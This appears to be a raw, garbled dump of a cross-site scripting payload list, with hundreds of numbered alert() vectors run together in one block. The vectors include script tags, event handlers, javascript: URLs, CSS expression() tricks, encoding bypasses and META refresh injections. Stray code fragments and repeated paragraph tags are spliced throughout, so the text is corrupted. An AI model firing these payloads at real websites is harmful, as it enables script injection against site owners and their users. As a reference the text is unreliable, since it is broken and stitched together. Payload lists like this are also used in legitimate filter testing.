DEF
testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest`"'>`"'>`"'>`"'>`"'>`"'>`"'>`"'>`"'>`"'>"`'>"`'>"`'>"`'>"`'>
"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"`'>"/>"/>"/>"/>"/>"/>"/>"/>"/>javascript:alert(1659)javascript:alert(1660)javascript:alert(1661)javascript:alert(1662)javascript:alert(1663)javascript:alert(1664)javascript:alert(1665)">">">">">">">">">">">">">">">`"'>`"'>`"'>`"'>`"'>`"'>`"'>"` `><a href=/#x=`y></a></a>"><!--[if]><script>javascript:alert(1766)</script --><!--[if --><object id="x" classid="clsid:CB927D17702-4FF7-4a9e-A177069-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17707-4B23-BC80-D3488ABDDC6<a style="-o-link:'javascript:javascript:alert(1771)';-o-link-source:current">X<style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1772)'}{}*{-o-link-source:current}]{color:red};</style><link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1773))%7d<style>@import "data:,*%7bx:expression(javascript:alert(1774))%7D";</style><a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1775);">XXX</a></a><a href="javascript:javascript:alert(1775<// style=x:expression28javascript:alert(1779)29><style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1780))}</style><div style="list-style:url(foo.f)20url(javascript:javascript:alert(1782));">X<script>({set/**/$($){_/**/setter=$,_=javascript:alert(1788)}}).$=eval</script><script>({0:#0=eval/#0#/#0#(javascript:alert(1789))})</script><script>ype.__defineGetter__('name', function(){javascript:alert(1790)}),x</script><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1791)')()</script><meta charset="mac-farsi">¼script¾javascript:alert(1794)¼/script¾X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1795)` >1796<set/xmlns=`urn:schemas-microsoft-com:time` style=`behvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=ja1797<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javasc1799<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1799) strokecolor=wh<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1800)">XXX</a><event-source src="%(event)s" onload="javascript:alert(1803)"><a href="javascript:javascript:alert(1804)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A"><div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement=<script>javascript:alert(1809)</script><FRAMESET><FRAME SRC="javascript:javascript:alert(1814);"></FRAMESET><BODY ONLOAD=javascript:alert(1815)><BODY ONLOAD=javascript:javascript:alert(1816)><BODY onload!#$%%&()*~+-_.,:;?@[/|]^`=javascript:alert(1818)><BGSOUND SRC="javascript:javascript:alert(1826);"><BR SIZE="&{javascript:alert(1827)}"><LINK REL="stylesheet" HREF="javascript:javascript:alert(1829);"><STYLE>li {list-style-image: url("javascript:javascript:alert(1833)");}</STYLE><UL><LI>XSS<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1834);"><META HTTP-EQUIV="refresh" CONTENT="0; URL=;URL=javascript:javascript:alert(1835);"><IFRAME SRC="javascript:javascript:alert(1836);"></IFRAME><TABLE BACKGROUND="javascript:javascript:alert(1837)"><TABLE><TD BACKGROUND="javascript:javascript:alert(1838)"><DIV STYLE="background-image: url(javascript:javascript:alert(1839))"><DIV STYLE="width:expression(javascript:alert(1840));"><XSS STYLE="xss:expression(javascript:alert(1842))"><STYLE TYPE="text/javascript">javascript:alert(1843);</STYLE><STYLE>.XSS{background-image:url("javascript:javascript:alert(1844)");}</STYLE><A CLASS=XSS></A><STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1845)")}</STYLE><!--[if gte IE 4]><SCRIPT>javascript:alert(1846);</SCRIPT><![endif]--><BASE HREF="javascript:javascript:alert(1847);//"><OBJECT classid=clsid:ae24fdae-03c6-18491849d1849-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1849)></OBJECT><HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B><IM<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeNam<form id="test" /><button form="test" formaction="javascript:javascript:alert(1854)">X<body onscroll=javascript:alert(1855)></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";></p><p style="text-indent: 2em;";><<P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1856)"><STYLE>a{background:url('s1858' 's2)}@import javascript:javascript:alert(1858);');}</STYLE><meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1859)&&;&&<&&/script&&><SCRIPT onreadystatechange=javascript:javascript:alert(1860);></SCRIPT><style onreadystatechange=javascript:javascript:alert(1861);></style><?xml version="1862.0"?><html:html xmlns:html='/1862999/xhtml'><html:script>javascript:alert(1862);</html:script></html:html><embed code=javascript:javascript:alert(1864);></embed></p><p style="text-indent: 2em;";><frameset onload=javascript:javascript:alert(1866)></frameset><object onerror=javascript:javascript:alert(1867)><XML ID=I><X><C><![CDATA[]]</C><X></xml><a href="javAascript:javascript:alert(1871)">test1871</a><a href="javaascript:javascript:alert(1872)">test1872</a><iframe srcdoc="<iframe/srcdoc=<img/src=''onerror=javascript:alert(1874)>>">';alert(1875))//';alert(1875))//";alert(1876))//";alert(1876))//--></SCRIPT>">'><SCRIPT>alert(1877))</SCRIPT><a onmouseover="alert(1885)">xxs link</a><a onmouseover=alert(1886)>xxs link</a><SCRIPT>alert(1887)</SCRIPT>">perl -e 'print "";' > out<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert(1902)><<SCRIPT>alert(1904);//<</SCRIPT><SCRIPT>alert(1910);</SCRIPT><INPUT TYPE="IMAGE" SRC="javascript:alert(1911);"><BODY BACKGROUND="javascript:alert(1912)"><STYLE>li {list-style-image: url("javascript:alert(1915)");}</STYLE><UL><LI>XSS</br><BODY ONLOAD=alert(1918)><BGSOUND SRC="javascript:alert(1919);"><BR SIZE="&{alert(1920)}"><LINK REL="stylesheet" HREF="javascript:alert(1921);"><STYLE>@import'javascript:alert(1926)';</STYLE>exp/*<A STYLE='noxss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert(1928))'><STYLE TYPE="text/javascript">alert(1929);</STYLE><STYLE>.XSS{background-image:url("javascript:alert(1930)");}</STYLE><A CLASS=XSS></A><STYLE type="text/css">BODY{background:url("javascript:alert(1931)")}</STYLE><STYLE type="text/css">BODY{background:url("javascript:alert(1932)")}</STYLE><XSS STYLE="xss:expression(alert(1933))">¼script¾alert(1935)¼/script¾<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(1936);"><META HTTP-EQUIV="refresh" CONTENT="0; URL=;URL=javascript:alert(1938);"><IFRAME SRC="javascript:alert(1939);"></IFRAME><IFRAME SRC=# onmouseover="alert(1940)"></IFRAME><FRAMESET><FRAME SRC="javascript:alert(1941);"></FRAMESET><TABLE BACKGROUND="javascript:alert(1942)"><TABLE><TD BACKGROUND="javascript:alert(1943)"><DIV STYLE="background-image: url(javascript:alert(1944))"><DIV STYLE="background-image: url(javascript:alert(1946))"><DIV STYLE="width: expression(alert(1947));"><BASE HREF="javascript:alert(1948);//"><? echo('<SCR)';echo('IPT>alert(1953)</SCRIPT>'); ?><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(1956)</SCRIPT>"> <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(1957);+ADw-/SCRIPT+AD4-/**/alert(1981)/**/</script /**/<iframe/src="data:text/html,<svg �load=alert(1983)>"><meta content="
1984
; JAVASCRIPT: alert(1984)" http-equiv="refresh"/><form><iframe ䷐� src="javascript:alert(1992)"�䷐ ;><script .com>alert(1994)</script</p><p style="text-indent: 2em;";><script ^__^>alert(1998))</script ^__^</style ><script :-(>/**/alert(1999)/**/</script :-(�</form><input type"date" onfocus="alert(2000)"><a href="javascript:void(0)" onmouseover=
javascript:alert(2004)
>X</a><script ~~~>alert(2005)</script ~~~><iframe// src=javaSCRIPT:alert(2013)<%<!--'%><script>alert(2030);</script --><script src="data:text/javascript,alert(2031)"></script><iframe/onreadystatechange=alert(2033)<svg/onload=alert(2034)<input type="text" value=`` <div/onmouseover='alert(2036)'>X</div><meta http-equiv="refresh" content="0;javascript:alert(2040)"/><script>+-+-2050-+-+alert(2050)</script><body/onload=<!-->倞alert(2051)><script itworksinallbrowsers>/*<script* */alert(2052)</script<script onlypossibleinopera:-)> alert(2055)<script x> alert(2057) </script 2057=2<div/onmouseover='alert(2058)'> style="x:"><--` --!><div style="position:absolute;top:0;left:0;width:206100%;height:206100%" onmouseover="prompt(2061)" onclick="alert(2061)">x</button><form><button formaction=javascript:alert(2063)>CLICKME<script>alert(2071);</script><script>alert(2072);</script><SCRIPT>alert(2077)</SCRIPT>"><scr<script>ipt>alert(2078);</scr</script>ipt><script>alert(2079))</script><style>@import'javascript:alert(2081)';</style><? echo('<scr)'; echo('ipt>alert(2082)</script>'); ?><marquee><script>alert(2083)</script></marquee>"><script>alert(2088)</script>(2101);alert(2103));'))"> onload=alert(2104)>">alert(2113)'?>" onfocus=alert(2115) "> <"- XSSperl -e 'print "alert(2118)";' > outperl -e 'print "";' > out
alert(2121)
">
[color=red width=expression(alert(2125))][color]
">'">'">'""><<<
'>a="get";b="URL";c="javascript:";d="alert(2140);";eval(a+b+c+d);='>>">/XaDoS/>">//>!--" />
">>
'">>
">">>
'>
';alert(2185))//';alert(2185))//";alert(2185))//";alert(2185))//--></SCRIPT>">'><SCRIPT>alert(2185))</SCRIP<SCRIPT>alert(2187)</SCRIPT><SCRIPT>alert(2189))</SCRIPT><BASE HREF="javascript:alert(2190);//"><BGSOUND SRC="javascript:alert(2191);"><BODY BACKGROUND="javascript:alert(2192);"><BODY ONLOAD=alert(2193)><DIV STYLE="background-image: url(javascript:alert(2194))"><DIV STYLE="background-image: url(javascript:alert(2195))"><DIV STYLE="width: expression(alert(2196));"><FRAMESET><FRAME SRC="javascript:alert(2197);"></FRAMESET><IFRAME SRC="javascript:alert(2198);"></IFRAME><INPUT TYPE="IMAGE" SRC="javascript:alert(2199);"><IMG SRC="javascript:alert(2200);"><IMG SRC=javascript:alert(2201)><IMG DYNSRC="javascript:alert(2202);"><IMG LOWSRC="javascript:alert(2203);"><STYLE>li {list-style-image: url("javascript:alert(2207)");}</STYLE><UL><LI>XSS%BCscript%BEalert(2211)%BC/script%BE<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(2212);"><META HTTP-EQUIV="refresh" CONTENT="0; URL=;URL=javascript:alert(2214);"><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(2217)></OBJECT>a="get"; b="URL(""; c="javascript:"; d="alert(2219);")";
eval(a+b+c+<STYLE TYPE="text/javascript">alert(2220);</STYLE><IMG STYLE="xss:expr/*XSS*/ession(alert(2221))"><XSS STYLE="xss:expression(alert(2222))"><STYLE>.XSS{background-image:url("javascript:alert(2223)");}</STYLE><A CLASS=XSS></A> <STYLE type="text/css">BODY{background:url("javascript:alert(2224)")}</STYLE><LINK REL="stylesheet" HREF="javascript:alert(2225);"><TABLE BACKGROUND="javascript:alert(2230)"></TABLE><TABLE><TD BACKGROUND="javascript:alert(2231)"></TD></TABLE><XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(2233);">]]><XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(2234)"></B></I></XML><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(2238)</SCRIPT>"><BR SIZE="&{alert(2243)}"><IMG SRC=JaVaScRiPt:alert(2244)><IMG SRC=javascript:alert(2245)><IMG SRC=`javascript:alert(2246)`><IMG SRC=javascript:alert(2247))><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(";alert(2253);//</TITLE><SCRIPT>alert(2254);</SCRIPT><STYLE>@import'javascript:alert(2255)';</STYLE><IMG SRC="jav ascript:alert(2256);"><IMG SRC="jav	ascript:alert(2257);"><IMG SRC="jav
ascript:alert(2258);"><IMG SRC="jav
ascript:alert(2259);">perl -e 'print "<IMG SRC=java0script:alert(2261)>";'> outperl -e 'print "&<SCR0IPT>alert(2262)</SCR0IPT>";' > out<IMG SRC="  javascript:alert(2263);"><BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert(2265)><IMG SRC="javascript:alert(2268)"<<SCRIPT>alert(2270);//<</SCRIPT><IMG """><SCRIPT>alert(2271)</SCRIPT>">"><BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert(2390)></script><script>alert(2391)</script></br style=a:expression(alert(23922392><scrscriptipt>alert(2393)</scrscriptipt><br size="&{alert(2394)}">perl -e 'print "<IMG SRC=java0script:alert(2395)>";' > outperl -e 'print "<SCR0IPT>alert(2396)</SCR0IPT>";' > out<~/XSS/*-*/STYLE=xss:e/**/xpression(alert(2397))><~/XSS/*-*/STYLE=xss:e/**/xpression(alert(2399))><~/XSS STYLE=xss:expression(alert(2400))>">XSS/*-*/STYLE=xss:e/**/xpression(alert(2403))>XSS STYLE=xss:e/**/xpression(alert(2404))>';;alert(2406))//';;alert(2406))//";;alert(2406))//";;alert(2406))//-->;<;/SCRIPT>;";>;';>;<;SCRIPT>;alert(2406))<;/SCRIPT>;<;SCRIPT>;alert(2408)<;/SCRIPT>;<;SCRIPT>;alert(2410))<;/SCRIPT>;<;BASE HREF=";javascript:alert(2411);//";>;<;BGSOUND SRC=";javascript:alert(2412);";>;<;BODY BACKGROUND=";javascript:alert(2413);";>;<;BODY ONLOAD=alert(2414)>;<;DIV STYLE=";background-image: url(javascript:alert(2415))";>;<;DIV STYLE=";background-image: url(&;#1;javascript:alert(2416))";>;<;DIV STYLE=";width: expression(alert(2417));";>;<;FRAMESET>;<;FRAME SRC=";javascript:alert(2418);";>;<;/FRAMESET>;<;IFRAME SRC=";javascript:alert(2419);";>;<;/IFRAME>;<;INPUT TYPE=";IMAGE"; SRC=";javascript:alert(2420);";>;<;IMG SRC=";javascript:alert(2421);";>;<;IMG SRC=javascript:alert(2422)>;<;IMG DYNSRC=";javascript:alert(2423);";>;<;IMG LOWSRC=";javascript:alert(2424);";>;<;STYLE>;li {list-style-image: url(";javascript:alert(2428)";);}<;/STYLE>;<;UL>;<;LI>;XSS%BCscript%BEalert(2432)%BC/script%BE<;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=javascript:alert(2433);";>;<;META HTTP-EQUIV=";refresh"; CONTENT=";0; URL=;URL=javascript:alert(2435);";>;<;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>;<;param name=url value=javascript:alert(2438)>;<;/OBJECT>;a=";get";;&;#10;b=";URL(";";;&;#10;c=";javascript:";;&;#10;d=";alert(2440);";)";;
eval(a+b+c+d);<;STYLE TYPE=";text/javascript";>;alert(2441);<;/STYLE>;<;IMG STYLE=";xss:expr/*XSS*/ession(alert(2442))";>;<;XSS STYLE=";xss:expression(alert(2443))";>;<;STYLE>;.XSS{background-image:url(";javascript:alert(2444)";);}<;/STYLE>;<;A CLASS=XSS>;<;/A>;<;STYLE type=";text/css";>;BODY{background:url(";javascript:alert(2445)";)}<;/STYLE>;<;LINK REL=";stylesheet"; HREF=";javascript:alert(2446);";>; <;TABLE BACKGROUND=";javascript:alert(2451)";>;<;/TABLE>;<;TABLE>;<;TD BACKGROUND=";javascript:alert(2452)";>;<;/TD>;<;/TABLE>;<;XML ID=I>;<;X>;<;C>;<;![CDATA[<;IMG SRC=";javas]]>;<;![CDATA[cript:alert(2454);";>;]]>;<;XML ID=";xss";>;<;I>;<;B>;<;IMG SRC=";javas<;!-- -->;cript:alert(2455)";>;<;/B>;<;/I>;<;/XML>;<;META HTTP-EQUIV=";Set-Cookie"; Content=";USERID=<;SCRIPT>;alert(2459)<;/SCRIPT>;";>;<;BR SIZE=";&;{alert(2464)}";>;<;IMG SRC=JaVaScRiPt:alert(2465)>;<;IMG SRC=javascript:alert(2466)>;<;IMG SRC=`javascript:alert(2467)`>;<;IMG SRC=javascript:alert(2468))>;<;HEAD>;<;META HTTP-EQUIV=";CONTENT-TYPE"; CONTENT=";text/html; charset=UTF-7";>; <;/HEAD>;+ADw-SCRIPT+AD4-alert(2473);+ADw-/SCRIPT+AD4-";;alert(2474);//<;/TITLE>;<;SCRIPT>;alert(2475);<;/SCRIPT>;<;STYLE>;@import';javascript:alert(2476)';;<;/STYLE>;<;IMG SRC=";jav ascript:alert(2477);";>;<;IMG SRC=";jav&;#x09;ascript:alert(2478);";>;<;IMG SRC=";jav&;#x0A;ascript:alert(2479);";>;<;IMG SRC=";jav&;#x0D;ascript:alert(2480);";>;perl -e ';print ";<;IM SRC=java0script:alert(2482)>";;';>; outperl -e ';print ";&;<;SCR0IPT>;alert(2483)<;/SCR0IPT>;";;'; >; out<;IMG SRC="; &;#14; javascript:alert(2484);";>;<;BODY onload!#$%&;()*~+-_.,:;?@[/|]^`=alert(2486)>;<;IMG SRC=";javascript:alert(2489)";<;<;SCRIPT>;alert(2491);//<;<;/SCRIPT>;<;IMG ";";";>;<;SCRIPT>;alert(2492)<;/SCRIPT>;";>;";>;<;BODY onload!#$%&;()*~+-_.,:;?@[/|]^`=alert(2611)>;<;/script>;<;script>;alert(2612)<;/script>;<;/br style=a:expression(alert(26132613>;<;scrscriptipt>;alert(2614)<;/scrscriptipt>;<;br size=";&;{alert(2615)}";>;perl -e 'print ";<;IMG SRC=java0script:alert(2616)>;";;' >; outperl -e 'print ";<;SCR0IPT>;alert(2617)<;/SCR0IPT>;";;' >; out<~/XSS/*-*/STYLE=xss:e/**/xpression(alert(2618))><~/XSS/*-*/STYLE=xss:e/**/xpression(alert(2620))><~/XSS STYLE=xss:expression(alert(2621))>">XSS/*-*/STYLE=xss:e/**/xpression(alert(2624))>XSS STYLE=xss:e/**/xpression(alert(2625))>>">&">>"'>%22%27>'%uff1cscript%uff1ealert(2631)%uff1c/script%uff1e'SCRIPT]]>alert(2643);/SCRIPT]]>%3cscript%3ealert(2650)%3c/script%3e%22%3e%3cscript%3ealert(2651)%3c/script%3e"> alert(2668);//<%253cscript%253ealert(2669)%253c/script%253e"> alert(2670)fooipt>alert(2672)ipt>';alert(2674))//';alert(2674))//";alert(2674))//";alert(2674))//-->">'> |
